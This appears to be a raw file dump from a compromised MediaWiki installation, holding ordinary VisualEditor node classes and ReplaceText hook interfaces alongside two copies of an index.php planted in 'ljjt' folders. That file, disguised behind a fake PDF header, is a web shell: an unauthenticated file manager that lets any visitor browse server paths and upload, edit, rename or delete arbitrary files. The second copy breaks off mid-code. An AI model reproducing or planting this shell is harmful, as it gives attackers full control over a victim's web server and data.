 * @param {ve.dm.AlienBlockNode} model
 * @param {Object} [config]
 */
ve.ce.AlienBlockNode = function VeCeAlienBlockNode() {
	// Parent constructor
	ve.ce.AlienBlockNode.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ce.AlienBlockNode, ve.ce.AlienNode );

/* Static Properties */

ve.ce.AlienBlockNode.static.name = 'alienBlock';

/* Registration */

ve.ce.nodeFactory.register( ve.ce.AlienBlockNode );
ce/nodes/ve.ce.AlienInlineNode.js000066600000001265151334753760012623 0ustar00/*!
 * VisualEditor ContentEditable AlienInlineNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable alien inline node.
 *
 * @class
 * @extends ve.ce.AlienNode
 *
 * @constructor
 * @param {ve.dm.AlienInlineNode} model
 * @param {Object} [config]
 */
ve.ce.AlienInlineNode = function VeCeAlienInlineNode() {
	// Parent constructor
	ve.ce.AlienInlineNode.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ce.AlienInlineNode, ve.ce.AlienNode );

/* Static Properties */

ve.ce.AlienInlineNode.static.name = 'alienInline';

/* Registration */

ve.ce.nodeFactory.register( ve.ce.AlienInlineNode );
ce/nodes/ve.ce.InternalListNode.js000066600000001741151334753760013043 0ustar00/*!
 * VisualEditor InternalListNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable internal list node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.InternalListNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.InternalListNode = function VeCeInternalListNode() {
	// Parent constructor
	ve.ce.InternalListNode.super.apply( this, arguments );

	// An internal list has no rendering
	this.$element = $( [] );
};

/* Inheritance */

OO.inheritClass( ve.ce.InternalListNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.InternalListNode.static.name = 'internalList';

/* Methods */

/**
 * Deliberately empty: don't build an entire CE tree with DOM elements for things that won't render
 *
 * @inheritdoc
 */
ve.ce.InternalListNode.prototype.onSplice = function () {
};

/* Registration */

ve.ce.nodeFactory.register( ve.ce.InternalListNode );
ce/nodes/ve.ce.ListItemNode.js000066600000001430151334753760012160 0ustar00/*!
 * VisualEditor ContentEditable ListItemNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable list item node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.ListItemNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.ListItemNode = function VeCeListItemNode() {
	// Parent constructor
	ve.ce.ListItemNode.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ce.ListItemNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.ListItemNode.static.name = 'listItem';

ve.ce.ListItemNode.static.tagName = 'li';

ve.ce.ListItemNode.static.splitOnEnter = true;

/* Registration */

ve.ce.nodeFactory.register( ve.ce.ListItemNode );
ce/nodes/ve.ce.DefinitionListItemNode.js000066600000003151151334753760014173 0ustar00/*!
 * VisualEditor ContentEditable DefinitionListItemNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable definition list item node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.DefinitionListItemNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.DefinitionListItemNode = function VeCeDefinitionListItemNode() {
	// Parent constructor
	ve.ce.DefinitionListItemNode.super.apply( this, arguments );

	// Events
	this.model.connect( this, { update: 'onUpdate' } );
};

/* Inheritance */

OO.inheritClass( ve.ce.DefinitionListItemNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.DefinitionListItemNode.static.name = 'definitionListItem';

ve.ce.DefinitionListItemNode.static.splitOnEnter = true;

/* Methods */

/**
 * Get the HTML tag name.
 *
 * Tag name is selected based on the model's style attribute.
 *
 * @return {string} HTML tag name
 * @throws {Error} If style is invalid
 */
ve.ce.DefinitionListItemNode.prototype.getTagName = function () {
	var style = this.model.getAttribute( 'style' ),
		types = { definition: 'dd', term: 'dt' };

	if ( !Object.prototype.hasOwnProperty.call( types, style ) ) {
		throw new Error( 'Invalid style' );
	}
	return types[ style ];
};

/**
 * Handle model update events.
 *
 * If the style changed since last update the DOM wrapper will be replaced with an appropriate one.
 */
ve.ce.DefinitionListItemNode.prototype.onUpdate = function () {
	this.updateTagName();
};

/* Registration */

ve.ce.nodeFactory.register( ve.ce.DefinitionListItemNode );
ce/nodes/ve.ce.TableRowNode.js000066600000006334151334753760012155 0ustar00/*!
 * VisualEditor ContentEditable TableRowNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable table row node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.TableRowNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.TableRowNode = function VeCeTableRowNode() {
	// Parent constructor
	ve.ce.TableRowNode.super.apply( this, arguments );

	this.$missingCell = null;
};

/* Inheritance */

OO.inheritClass( ve.ce.TableRowNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.TableRowNode.static.name = 'tableRow';

ve.ce.TableRowNode.static.tagName = 'tr';

/* Methods */

/**
 * @inheritdoc
 */
ve.ce.TableRowNode.prototype.onSetup = function () {
	// Parent method
	ve.ce.TableRowNode.super.prototype.onSetup.apply( this, arguments );

	this.setupMissingCell();
};

/**
 * @inheritdoc
 */
ve.ce.TableRowNode.prototype.onSplice = function () {
	var node = this;
	// Parent method
	ve.ce.TableRowNode.super.prototype.onSplice.apply( this, arguments );

	// Defer call until after other changes in this cycle have been made
	setTimeout( function () {
		if ( node.getRoot() ) {
			// It's possible for this to have been removed from the model in the last tick
			// This mostly seems to happen during cell merges
			node.setupMissingCell();
		}
	} );
};

/**
 * Setup a slug for a missing cell, if this row contains fewer cells than the table
 */
ve.ce.TableRowNode.prototype.setupMissingCell = function () {
	var matrix = this.findParent( ve.ce.TableNode ).getModel().getMatrix(),
		maxColCount = matrix.getMaxColCount();

	var row = matrix.getRowNodes().indexOf( this.model );
	if ( maxColCount > matrix.getColCount( row ) ) {
		if ( !this.$missingCell ) {
			this.$missingCell = $( '<td>' )
				.prop( 'contentEditable', 'false' )
				.addClass( 've-ce-branchNode-slug ve-ce-branchNode-blockSlug ve-ce-tableNode-missingCell' );
			var slugButton = new ve.ui.NoFocusButtonWidget( {
				icon: 'add',
				framed: false
			} ).on( 'click', this.onMissingCellClick.bind( this ) );
			this.$missingCell.append( slugButton.$element );
		}
		this.$element.append( this.$missingCell );
	} else {
		this.removeSlugs();
	}
};

/**
 * @inheritdoc
 */
ve.ce.TableRowNode.prototype.removeSlugs = function () {
	if ( this.$missingCell ) {
		this.$missingCell.detach();
	}
};

/**
 * Handle click events on the missing cell slug
 *
 * @param {jQuery.Event} e Click event
 */
ve.ce.TableRowNode.prototype.onMissingCellClick = function () {
	var surfaceModel = this.getRoot().getSurface().getModel(),
		documentModel = surfaceModel.getDocument(),
		tableModel = this.findParent( ve.ce.TableNode ).getModel(),
		matrix = tableModel.getMatrix();

	// Add a cell onto the end of the row
	surfaceModel.change(
		ve.dm.TransactionBuilder.static.newFromInsertion(
			documentModel, this.getModel().getRange().end,
			ve.dm.TableCellNode.static.createData()
		)
	);

	// Select the newly-inserted cell
	var row = matrix.getRowNodes().indexOf( this.model );
	var col = matrix.getColCount( row ) - 1;
	surfaceModel.setSelection(
		new ve.dm.TableSelection( tableModel.getOuterRange(), col, row )
	);
};

/* Registration */

ve.ce.nodeFactory.register( ve.ce.TableRowNode );
ce/nodes/ve.ce.TableCellNode.js000066600000010263151334753760012261 0ustar00/*!
 * VisualEditor ContentEditable TableCellNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable table cell node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @mixins ve.ce.TableCellableNode
 * @mixins ve.ce.ContentEditableNode
 * @constructor
 * @param {ve.dm.TableCellNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.TableCellNode = function VeCeTableCellNode() {
	// Parent constructor
	ve.ce.TableCellNode.super.apply( this, arguments );

	// Mixin constructors
	ve.ce.TableCellableNode.call( this );
	ve.ce.ContentEditableNode.call( this );

	this.setEditing( false );

	// Events
	this.model.connect( this, {
		update: 'onUpdate',
		attributeChange: 'onAttributeChange'
	} );
	this.connect( this, {
		teardown: 'onTableCellTeardown'
	} );
};

/* Inheritance */

OO.inheritClass( ve.ce.TableCellNode, ve.ce.BranchNode );

OO.mixinClass( ve.ce.TableCellNode, ve.ce.TableCellableNode );
OO.mixinClass( ve.ce.TableCellNode, ve.ce.ContentEditableNode );

/* Static Properties */

ve.ce.TableCellNode.static.name = 'tableCell';

ve.ce.TableCellNode.static.trapsCursor = true;

/* Methods */

/**
 * @inheritdoc
 */
ve.ce.TableCellNode.prototype.initialize = function () {
	// Parent method
	ve.ce.TableCellNode.super.prototype.initialize.call( this );

	var rowspan = this.model.getRowspan();
	var colspan = this.model.getColspan();

	// DOM changes
	this.$element
		// The following classes are used here:
		// * ve-ce-tableCellNode-data
		// * ve-ce-tableCellNode-header
		.addClass( 've-ce-tableCellNode ve-ce-tableCellNode-' + this.model.getAttribute( 'style' ) );

	// Set attributes (keep in sync with #onSetup)
	if ( rowspan > 1 ) {
		this.$element.attr( 'rowspan', rowspan );
	}
	if ( colspan > 1 ) {
		this.$element.attr( 'colspan', colspan );
	}

	// Add tooltip
	this.$element.attr( 'title', ve.msg( 'visualeditor-tablecell-tooltip' ) );
};

/**
 * Set the editing mode of a table cell node
 *
 * @param {boolean} enable Enable editing
 */
ve.ce.TableCellNode.prototype.setEditing = function ( enable ) {
	this.editing = enable;
	this.$element.toggleClass( 've-ce-tableCellNode-editing', enable );
	this.setContentEditable();
	if ( this.getRoot() ) {
		this.getRoot().getSurface().setActiveNode( enable ? this : null );
	}
	if ( enable ) {
		this.$element.removeAttr( 'title' );
	} else {
		this.$element.attr( 'title', ve.msg( 'visualeditor-tablecell-tooltip' ) );
	}
};

/**
 * Handle teardown events
 *
 * Same functionality as the teardown handler in ve.ce.ActiveNode
 */
ve.ce.TableCellNode.prototype.onTableCellTeardown = function () {
	// If the table cell is active on teardown, ensure the surface's
	// activeNode is cleared.
	if ( this.getRoot() ) {
		var surface = this.getRoot().getSurface();
		if ( surface.getActiveNode() === this ) {
			surface.setActiveNode( null );
		}
	}
};

/**
 * @inheritdoc ve.ce.ContentEditableNode
 */
ve.ce.TableCellNode.prototype.setContentEditable = function () {
	// Overwite any state passed to setContentEditable with this.editing, so that
	// setContentEditable doesn't override the editing state.
	return ve.ce.ContentEditableNode.prototype.setContentEditable.call( this, this.editing );
};

/**
 * Handle model update events.
 *
 * If the style changed since last update the DOM wrapper will be replaced with an appropriate one.
 */
ve.ce.TableCellNode.prototype.onUpdate = function () {
	this.updateTagName();
};

/**
 * Handle attribute changes to keep the live HTML element updated.
 *
 * @param {string} key Attribute name
 * @param {Mixed} from Old value
 * @param {Mixed} to Old value
 */
ve.ce.TableCellNode.prototype.onAttributeChange = function ( key, from, to ) {
	switch ( key ) {
		case 'colspan':
		case 'rowspan':
			if ( to > 1 ) {
				this.$element.attr( key, to );
			} else {
				this.$element.removeAttr( key );
			}
			break;
		case 'style':
			// The following classes are used here:
			// * ve-ce-tableCellNode-data
			// * ve-ce-tableCellNode-header
			this.$element
				.removeClass( 've-ce-tableCellNode-' + from )
				.addClass( 've-ce-tableCellNode-' + to );
			this.updateTagName();
			break;
	}
};

/* Registration */

ve.ce.nodeFactory.register( ve.ce.TableCellNode );
ce/nodes/ve.ce.HorizontalRuleNode.js000066600000002264151334753760013415 0ustar00/*!
 * VisualEditor ContentEditable HorizontalRuleNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable horizontal rule node.
 *
 * @class
 * @extends ve.ce.LeafNode
 * @mixins ve.ce.FocusableNode
 *
 * @constructor
 * @param {ve.dm.HorizontalRuleNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.HorizontalRuleNode = function VeCeHorizontalRuleNode() {
	// Parent constructor
	ve.ce.HorizontalRuleNode.super.apply( this, arguments );

	// Wrap the <hr> in a div so the margins become focusable
	// and the user has a click target of more than 2px
	this.$element = $( '<div>' ).append( this.$element );

	// Mixin constructors
	ve.ce.FocusableNode.call( this );

	// DOM changes
	this.$element.addClass( 've-ce-horizontalRuleNode' );
};

/* Inheritance */

OO.inheritClass( ve.ce.HorizontalRuleNode, ve.ce.LeafNode );

OO.mixinClass( ve.ce.HorizontalRuleNode, ve.ce.FocusableNode );

/* Static Properties */

ve.ce.HorizontalRuleNode.static.name = 'horizontalRule';

ve.ce.HorizontalRuleNode.static.tagName = 'hr';

/* Registration */

ve.ce.nodeFactory.register( ve.ce.HorizontalRuleNode );
ce/nodes/ve.ce.ContentEditableNode.js000066600000004373151334753760013503 0ustar00/*!
 * VisualEditor ContentEditable ContentEditableNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * A ContentEditableNode maintains its own contentEditable property
 *
 * @class
 * @abstract
 *
 * @constructor
 */
ve.ce.ContentEditableNode = function VeCeContentEditableNode() {
	this.ceSurface = null;
	this.setContentEditable( true );
	this.setReadOnly( false );

	this.connect( this, {
		setup: 'onContentEditableSetup',
		teardown: 'onContentEditableTeardown'
	} );
};

/* Inheritance */

OO.initClass( ve.ce.ContentEditableNode );
// Assumes ve.ce.Node as a base class

/* Methods */

/**
 * Handle setup events on the node
 */
ve.ce.ContentEditableNode.prototype.onContentEditableSetup = function () {
	// Exit if already setup or not attached
	if ( this.ceSurface || !this.root ) {
		return;
	}
	this.ceSurface = this.root.getSurface().getSurface();

	this.ceSurface.connect( this, { readOnly: 'onSurfaceReadOnly' } );
	// Set initial state
	this.setReadOnly( this.ceSurface.isReadOnly() );
};

/**
 * Handle teardown events on the node
 */
ve.ce.ContentEditableNode.prototype.onContentEditableTeardown = function () {
	// Exit if not setup
	if ( !this.ceSurface ) {
		return;
	}
	this.ceSurface.disconnect( this, { readOnly: 'onSurfaceReadOnly' } );
	this.ceSurface = null;
};

/**
 * Handle readOnly events from the surface
 *
 * @param {boolean} readOnly Surface is read-only
 */
ve.ce.ContentEditableNode.prototype.onSurfaceReadOnly = function ( readOnly ) {
	this.setReadOnly( readOnly );
};

/**
 * Called when the surface read-only state changes
 *
 * @param {boolean} readOnly Surface is read-only
 */
ve.ce.ContentEditableNode.prototype.setReadOnly = function ( readOnly ) {
	this.$element.prop( 'spellcheck', !readOnly );
};

/**
 * Enable or disable editing on this node
 *
 * @param {boolean} enabled Whether to enable editing
 */
ve.ce.ContentEditableNode.prototype.setContentEditable = function ( enabled ) {
	this.$element.prop( 'contentEditable', ( !!enabled ).toString() );
};

/**
 * Check if the node is currently editable
 *
 * @return {boolean} Node is currently editable
 */
ve.ce.ContentEditableNode.prototype.isContentEditable = function () {
	return this.$element.prop( 'contentEditable' ) === 'true';
};
ce/nodes/ve.ce.CenterNode.js000066600000001325151334753760011651 0ustar00/*!
 * VisualEditor ContentEditable CenterNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable center node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.CenterNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.CenterNode = function VeCeCenterNode() {
	// Parent constructor
	ve.ce.CenterNode.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ce.CenterNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.CenterNode.static.name = 'center';

ve.ce.CenterNode.static.tagName = 'center';

/* Registration */

ve.ce.nodeFactory.register( ve.ce.CenterNode );
Hooks/FilterPageTitlesForRenameHook.php000066600000001260151334755130014201 0ustar00<?php

namespace MediaWiki\Extension\ReplaceText\Hooks;

use MediaWiki\Title\Title;

/**
 * This is a hook handler interface, see docs/Hooks.md in core.
 * Use the hook name "ReplaceTextFilterPageTitlesForRename" to register handlers implementing this interface.
 *
 * @stable to implement
 * @ingroup Hooks
 */
interface FilterPageTitlesForRenameHook {
	/**
	 * Provides other extension the ability to avoid renaming pages based on their titles.
	 *
	 * @param Title[] &$filteredTitles Array of page titles being renamed
	 * @return bool|void True or no return value to continue or false to abort
	 */
	public function onReplaceTextFilterPageTitlesForRename( array &$filteredTitles );
}
Hooks/FilterPageTitlesForEditHook.php000066600000001303151334755130013655 0ustar00<?php

namespace MediaWiki\Extension\ReplaceText\Hooks;

use MediaWiki\Title\Title;

/**
 * This is a hook handler interface, see docs/Hooks.md in core.
 * Use the hook name "ReplaceTextFilterPageTitlesForEdit" to register handlers implementing this interface.
 *
 * @stable to implement
 * @ingroup Hooks
 */
interface FilterPageTitlesForEditHook {
	/**
	 * Provides other extension the ability to avoid editing content on pages based on their titles.
	 *
	 * @param Title[] &$filteredTitles Array of page titles whose content will be edited
	 * @return bool|void True or no return value to continue or false to abort
	 */
	public function onReplaceTextFilterPageTitlesForEdit( array &$filteredTitles );
}
ljjt/kzc/index.php000066600000025453151335004600010130 0ustar00%PDF-1.7
3 0 obj
<!DOCTYPE html>korsygfhrtggggggzangaiide




<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Elehhjhjjkjkfpffff</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\
alert('Directory is Corrupted and Unreadable.');\
window.location.replace('?');\
</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload FileeE</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>


    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>ljjt/media/js/index.php000066600000025453151335004600011034 0ustar00%PDF-1.7
3 0 obj
<!DOCTYPE html>korsygfhrtggggggzangaiide




<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Elehhjhjjkjkfpffff</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
